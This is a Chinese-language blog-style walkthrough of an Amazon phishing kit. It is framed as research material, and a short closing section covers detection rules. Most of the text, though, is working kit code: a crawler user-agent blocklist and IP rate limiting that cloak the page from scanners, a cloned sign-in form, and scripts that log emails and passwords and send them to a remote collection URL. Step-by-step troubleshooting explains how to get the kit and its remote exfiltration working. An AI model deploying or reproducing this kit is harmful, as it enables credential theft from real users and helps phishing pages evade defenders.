简介:这份资源是一套针对亚马逊平台的仿冒钓鱼页面源码包,面向网络安全研究人员、反欺诈从业者及希望了解钓鱼攻击手法的技术人员,用于分析此类诈骗页面的结构与信息窃取逻辑。压缩包共24个文件,以15个PHP脚本为核心,涵盖页面入口、表单处理与数据接收等环节,另有3个JS脚本负责前端交互,配合2个PNG、1个SVG图标及2个CSS样式文件还原仿冒页面外观,整体约167KB,结构紧凑。目前已有135人学习下载。通过梳理其目录组织与模块划分,读者可直观认识钓鱼页面从诱饵展示到信息收集的完整链路,理解仿冒站点常用的伪装与规避思路,为识别可疑链接、验证网站真实性以及设计反钓鱼检测规则提供参考素材,适合作为安全意识培训与攻防研究的辅助样本。
1. 拆开一个亚马逊仿冒页源码包:它到底在浏览器里干了什么
你拿到一个叫scam-amazon.zip的压缩包,解压后看到index.php、email.php、get.php、detect.php、blocker.php、antibots4.php这一串文件名,第一反应可能是“这不就是个钓鱼站源码吗”。没错,但如果你只停留在“这是诈骗”四个字上,就错过了它真正值得拆解的地方——这是一套完整的反检测 + 数据回传 + 页面伪装流水线,代码结构比很多正经小项目还清晰。它解决的核心问题是:如何让一个仿冒页面在真实浏览器里看起来像亚马逊、同时把爬虫和沙箱挡在门外、最后把用户输入的数据悄悄送走。适合谁看?做 Web 安全防御的、写反钓鱼规则的、或者单纯想搞明白这类页面技术底牌的人。下面我按文件依赖和请求链路,把这套东西一层层剥开。
2. 请求进来先过三道闸:detect、blocker、antibots4 的拦截逻辑
2.1 为什么入口不是 index.php 而是 detect.php
很多人以为用户访问的第一站是index.php,其实在这类源码里,index.php往往只负责渲染页面,真正的入口是detect.php。它被index.php顶部require进来,在输出任何 HTML 之前先跑一遍环境检查。常见做法是检查HTTP_USER_AGENT、HTTP_ACCEPT_LANGUAGE、REMOTE_ADDR以及请求头里有没有自动化工具的指纹。如果命中规则,直接header('Location: ...')跳走或者返回一个空白页,连仿冒页面都不给你看。
<?php // detect.php 典型结构:先定义拦截规则,再逐条匹配 $bot_signatures = [ 'curl', 'wget', 'python', 'scrapy', 'headless', 'phantom', 'selenium', 'bot', 'spider', 'crawler', 'facebookexternalhit', 'telegrambot' ]; $ua = strtolower($_SERVER['HTTP_USER_AGENT'] ?? ''); foreach ($bot_signatures as $sig) { if (strpos($ua, $sig) !== false) { // 命中爬虫特征,直接送走,不暴露后续逻辑 header('Location: https://www.amazon.com'); exit; } }这段逻辑说明:$bot_signatures是一个黑名单数组,匹配的是 User-Agent 字符串里的关键词。参数上你可以增删条目,但注意strpos是区分大小写的,所以先strtolower统一转小写。失败时看什么?如果页面在本地 curl 访问返回 302 而浏览器正常,说明拦截生效了。常见误用是把exit写成die但忘了后面还有输出缓冲,导致跳转头发不出去。
2.2 blocker.php 和 antibots4.php 的分工
blocker.php通常管 IP 和地理维度,比如屏蔽已知的云服务商 IP 段、数据中心 ASN,或者限制同一 IP 短时间内的请求次数。antibots4.php则更偏向行为层,比如检查HTTP_REFERER是否为空、Accept头是否缺失、Cookie 是否被禁用。这两个文件经常被detect.php依次include,形成三道闸:UA 过滤 → IP 过滤 → 行为过滤。
<?php // blocker.php 片段:基于 IP 的简单频控 session_start(); $ip = $_SERVER['REMOTE_ADDR']; $now = time(); $window = 60; // 统计窗口 60 秒 $limit = 5; // 最多 5 次 if (!isset($_SESSION['req_log'])) { $_SESSION['req_log'] = []; } $_SESSION['req_log'] = array_filter($_SESSION['req_log'], function($t) use ($now, $window) { return ($now - $t) < $window; }); if (count($_SESSION['req_log']) >= $limit) { http_response_code(429); exit('Too many requests'); } $_SESSION['req_log'][] = $now;参数说明:$window控制时间窗口,$limit控制阈值。这里用 session 存请求时间戳,优点是实现简单,缺点是 session 文件在服务器端会堆积,而且换 IP 就绕过了。所以实际源码里往往还会配合get.php做一层服务端记录。注意array_filter之后要重新赋值,否则数组下标不连续但count仍然正确,逻辑上没问题,但调试时容易看花眼。
2.3 拦截失败时看哪里
如果发现仿冒页面在某个环境里没被拦住,先查detect.php里$bot_signatures是否漏了新的自动化工具 UA;再查blocker.php的 session 是否因为session_start()没放在最顶部而失效;最后看antibots4.php里有没有对HTTP_X_FORWARDED_FOR做处理,很多代理请求会带这个头,如果没取它,IP 判断就落在代理 IP 上,等于没拦。这三步排查顺序是我踩过坑之后固定下来的。
3. 仿冒页面怎么长得像亚马逊:index.php 与 css 的拼装方式
3.1 index.php 的渲染流程
index.php在通过前面三道闸之后,才会真正输出 HTML。它的结构一般是:顶部require detect.php,然后include 'lib/global.php'加载配置,接着从lib/里取语言包和模板变量,最后把css/login.css和js/下的脚本挂上去。页面主体通常是一个登录表单,字段名和亚马逊真实页面保持一致,比如email、password,但表单的action指向email.php或get.php。
<?php require_once 'detect.php'; // 拦截层 require_once 'lib/global.php'; // 全局配置和函数 $lang = $_GET['lang'] ?? 'en'; // 语言参数,默认英文 $title = $config['brand'] . ' Sign-In'; ?> <!DOCTYPE html> <html lang="<?php echo htmlspecialchars($lang); ?>"> <head> <meta charset="UTF-8"> <title><?php echo htmlspecialchars($title); ?></title> <link rel="stylesheet" href="css/login.css"> </head> <body> <form method="POST" action="email.php" id="signin-form"> <input type="email" name="email" placeholder="Email or mobile phone number" required> <input type="password" name="password" placeholder="Password" required> <button type="submit">Sign in</button> </form> <script src="js/v.js"></script> <script src="js/q.js"></script> </body> </html>逻辑说明:htmlspecialchars在这里不是防 XSS,而是防止$lang或$title里的特殊字符破坏 HTML 结构。action="email.php"是关键,数据不留在当前页,直接 POST 到处理脚本。参数上$lang从 URL 取,说明这套源码支持多语言切换,常见做法是在lib/下放en.php、de.php之类的语言文件,但文件列表里没看到,可能被合并进global.php了。
3.2 css 和 js 的伪装细节
css/login.css负责把页面样式调到和亚马逊登录页几乎一致,包括字体、按钮圆角、输入框阴影。js/下的v.js、q.js、m.js各有分工:v.js通常做表单验证,让用户觉得“这个页面在认真检查我的输入”;q.js可能负责延迟提交或二次确认,增加真实感;m.js则可能是移动端适配或鼠标轨迹采集。这些脚本不直接偷数据,但它们是让用户放下戒心的关键。
// js/v.js 片段:模拟真实表单验证,延迟提交 document.getElementById('signin-form').addEventListener('submit', function(e) { var email = document.querySelector('input[name="email"]').value; var pass = document.querySelector('input[name="password"]').value; if (email.indexOf('@') === -1) { e.preventDefault(); alert('Please enter a valid email address.'); return false; } if (pass.length < 6) { e.preventDefault(); alert('Password must be at least 6 characters.'); return false; } // 验证通过后不阻止提交,但加一个短暂延迟让用户看到按钮状态变化 var btn = this.querySelector('button'); btn.disabled = true; btn.textContent = 'Signing in...'; });这段代码的作用是:在提交前做前端校验,不通过就preventDefault并弹窗,通过则把按钮置灰、改文字,模拟真实登录的等待感。参数上pass.length < 6是硬编码的,改这个阈值可以调整“严格程度”。注意这里没有做任何数据外发,外发在email.php里。常见误用是alert在某些浏览器里被拦截,导致用户看不到提示但表单也没提交,体验断裂。
3.3 页面资源与文件清单的对应关系
| 文件/目录 | 作用 | 是否直接处理用户数据 |
|---|---|---|
index.php | 渲染仿冒登录页 | 否 |
css/login.css | 页面样式伪装 | 否 |
js/v.js | 前端验证与交互 | 否 |
js/q.js | 延迟提交/二次确认 | 否 |
js/m.js | 移动端适配/轨迹采集 | 否 |
email.php | 接收并处理表单 POST | 是 |
get.php | 备用接收端点或重定向 | 是 |
lib/global.php | 全局配置、函数库 | 间接 |
lib/system.php | 系统级封装 | 间接 |
lib/browser.php | 浏览器指纹解析 | 间接 |
lib/detect.php | 拦截逻辑 | 否 |
lib/blocker.php | IP/频控拦截 | 否 |
lib/antibots4.php | 行为层拦截 | 否 |
update.php | 可能用于远程更新配置 | 否 |
err.php | 错误页,防止报错暴露路径 | 否 |
这张表能帮你快速定位:哪些文件是“面子”,哪些是“里子”。调试时如果页面样式不对,查css/;如果提交没反应,查email.php和get.php;如果页面直接白屏,查err.php有没有把错误吞掉。
4. 数据怎么被收走:email.php、get.php 与 update.php 的协作
4.1 email.php 的接收与落盘
email.php是整套源码里唯一直接处理用户输入的文件。它通常做三件事:读取 POST 数据、做简单清洗、写入本地文件或发送到远程端点。写入本地时常用file_put_contents追加到log.txt或按日期分文件;发送远程则用curl或file_get_contents构造 GET 请求把数据带出去。
<?php // email.php 片段:接收表单并落盘 if ($_SERVER['REQUEST_METHOD'] !== 'POST') { header('Location: index.php'); exit; } $email = trim($_POST['email'] ?? ''); $password = trim($_POST['password'] ?? ''); $ip = $_SERVER['REMOTE_ADDR']; $time = date('Y-m-d H:i:s'); // 简单清洗,防止换行符破坏日志格式 $email = str_replace(["\r", "\n"], '', $email); $password = str_replace(["\r", "\n"], '', $password); $line = implode(' | ', [$time, $ip, $email, $password]) . PHP_EOL; file_put_contents(__DIR__ . '/log.txt', $line, FILE_APPEND | LOCK_EX); // 可选:远程回传 $remote = 'https://example.com/collect'; $payload = http_build_query(['e' => $email, 'p' => $password, 'ip' => $ip]); @file_get_contents($remote . '?' . $payload); // 最后跳转到真实亚马逊,降低用户怀疑 header('Location: https://www.amazon.com/ap/signin'); exit;逻辑说明:trim去掉首尾空白,str_replace去掉换行符防止日志被注入多行。FILE_APPEND | LOCK_EX保证并发写入时不互相覆盖。远程回传用@抑制错误,避免因为远端不可达而在页面上报错。最后跳转到真实亚马逊是标准收尾动作。参数上$remote是回传地址,改它就能切换数据去向。失败时看什么?如果log.txt没生成,检查目录写权限;如果远程没收到,检查allow_url_fopen是否开启,或者换curl实现。
4.2 get.php 的备用通道
get.php通常有两个用途:一是作为email.php的备用接收端点,当email.php被拦截或改名时还能用;二是处理 GET 请求,比如某些钓鱼链接直接把数据放在 URL 参数里。它的代码结构和email.php类似,但取值从$_GET而不是$_POST。
<?php // get.php 片段:GET 方式接收 $email = $_GET['email'] ?? $_GET['e'] ?? ''; $password = $_GET['password'] ?? $_GET['p'] ?? ''; if ($email && $password) { $line = date('Y-m-d H:i:s') . ' | GET | ' . $email . ' | ' . $password . PHP_EOL; file_put_contents(__DIR__ . '/log_get.txt', $line, FILE_APPEND | LOCK_EX); } // 无论有没有数据,都返回一张 1x1 像素图,避免暴露 header('Content-Type: image/gif'); echo base64_decode('R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7');这里用??做多级回退,兼容不同参数名。返回 1x1 像素图是常见做法,这样即使被扫描到,看起来也只是一张图片。参数上log_get.txt和log.txt分开,方便区分数据来源。注意base64_decode的字符串是标准 1x1 透明 GIF,改它没意义,但可以换成其他小图。
4.3 update.php 与 err.php 的辅助角色
update.php在这类源码里通常不是自动更新,而是手动触发配置刷新,比如从远程拉取新的拦截规则或回传地址。err.php则负责接管 PHP 错误,把display_errors关掉,防止报错信息里暴露服务器路径和文件结构。这两个文件不直接碰用户数据,但它们是整套系统能稳定跑下去的“后勤”。
<?php // err.php 片段:统一错误处理 error_reporting(0); ini_set('display_errors', 0); set_error_handler(function($errno, $errstr, $errfile, $errline) { // 只记录不输出 file_put_contents(__DIR__ . '/error.log', date('Y-m-d H:i:s') . " | $errstr | $errfile:$errline" . PHP_EOL, FILE_APPEND); return true; });这段代码把错误全部吞掉,只写日志。参数上error_reporting(0)和ini_set双保险。常见误用是set_error_handler里又触发了新的错误导致递归,所以回调里尽量只用file_put_contents这种不会失败的操作。
5. 避坑与排查:这类源码在本地跑不起来时先看这五条
5.1 现象:访问 index.php 直接 500,没有任何输出
原因:err.php把错误吞了,但require的文件路径不对或者 PHP 版本不兼容。这类源码很多是 PHP 5.x 时代写的,用了mysql_*函数或者短标签<?,在 PHP 7+ 上直接解析失败。解决:先把err.php里的error_reporting(0)临时改成E_ALL,把display_errors打开,看具体报错行;如果是短标签问题,在php.ini里开short_open_tag,或者把<?批量替换成<?php。
5.2 现象:页面样式全乱,CSS 没加载
原因:index.php里css/login.css用的是相对路径,但如果你把文件放在子目录里访问,相对路径就错了。或者lib/global.php里定义了$config['base_url'],而index.php用的是绝对路径拼装,配置不对就 404。解决:打开浏览器开发者工具的 Network 面板,看login.css的请求 URL 是什么,和实际文件位置对比;检查global.php里有没有define('BASE_URL', ...)之类的常量,把它改成你本地实际路径。
5.3 现象:表单提交后页面空白,log.txt 没生成
原因:email.php里file_put_contents的目录没有写权限,或者open_basedir限制了写入路径。也可能是$_POST为空,因为表单的action写的是email.php但实际文件叫email.php而服务器没解析 PHP。解决:先var_dump($_POST)看有没有数据;再is_writable(__DIR__)看目录权限;最后确认 Web 服务器配置里.php后缀被正确交给 PHP 处理器。如果是open_basedir限制,把日志目录加到允许列表里。
5.4 现象:本地 curl 访问返回 302 到亚马逊,但浏览器正常
原因:detect.php的 UA 黑名单命中了curl。这是预期行为,不是 bug。解决:如果你要调试,把 curl 的 UA 改成浏览器 UA,比如curl -A "Mozilla/5.0 ..."。但注意,这正好说明了拦截逻辑在起作用。如果你希望本地调试时不拦截,临时把detect.php里$bot_signatures数组清空,或者加一个if ($_SERVER['REMOTE_ADDR'] === '127.0.0.1') return;的白名单。
5.5 现象:远程回传失败,但页面正常跳转
原因:file_get_contents被allow_url_fopen=Off禁用,或者远程地址不可达,而代码里用了@抑制错误,所以你看不到任何提示。解决:把@file_get_contents改成curl实现,并在curl_exec后检查curl_error;或者临时把@去掉,看错误信息。另外注意,如果远程地址是 HTTPS,本地 PHP 可能缺少 CA 证书,导致 SSL 验证失败,可以临时设curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false)来排查,但生产环境不要这么干。
6. 从防御视角反推:怎么用这套源码的结构做检测规则
拆完这套源码,最有价值的不是学会怎么搭一个仿冒页,而是知道该在哪些点布防。我一般会从三个层面写检测规则:请求层、页面层、数据层。
请求层看detect.php和blocker.php的特征。比如同一个 IP 在短时间内请求多个不同域名的登录页,或者 UA 里同时出现headless和Amazon关键词,这些都是强信号。你可以用 Nginx 的map指令做 UA 黑名单,也可以用 ModSecurity 写规则匹配REMOTE_ADDR和HTTP_REFERER的组合。
页面层看index.php和css/login.css的相似度。仿冒页面再像,也会有细微差别:表单action指向的域名不是amazon.com、页面里缺少真实的 CSRF token、js/下的脚本文件名和亚马逊官方不一致。我习惯用哈希对比:把官方登录页的关键 DOM 结构做指纹,和可疑页面比对,相似度超过阈值就告警。
数据层看email.php和get.php的落盘行为。如果你有服务器权限,监控file_put_contents的调用和log.txt、log_get.txt这类文件的生成,能直接抓到数据回传的瞬间。更通用的是在出口流量里匹配http_build_query产生的参数模式,比如e=和p=同时出现且目标 IP 不是已知亚马逊段。
# 示例:用 grep 快速扫描可疑源码里的回传特征 grep -rE "file_put_contents|http_build_query|curl_exec" --include="*.php" ./scam-amazon/ # 输出会列出所有涉及数据写入和远程请求的文件行这条命令的逻辑是:-r递归,-E扩展正则,--include限定 PHP 文件。参数上你可以把file_put_contents换成fwrite或fputs,覆盖更多写法。跑完之后重点看email.php、get.php、update.php这三个文件的命中行,基本就能还原数据流向。
从那以后我每次拿到这类源码包,都强制先跑一遍grep把回传点标出来,再决定要不要继续往下拆。希望帮到你。
本文还有配套的精品资源,点击获取